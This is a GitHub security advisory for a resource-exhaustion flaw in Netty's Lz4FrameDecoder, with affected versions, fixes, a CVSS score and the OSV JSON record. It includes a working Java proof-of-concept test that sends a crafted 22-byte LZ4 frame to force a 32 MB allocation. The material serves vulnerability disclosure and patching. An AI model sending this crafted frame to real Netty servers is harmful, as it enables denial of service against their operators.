GHSA-MJ4R-2HFC-F8P6

Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Details

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}



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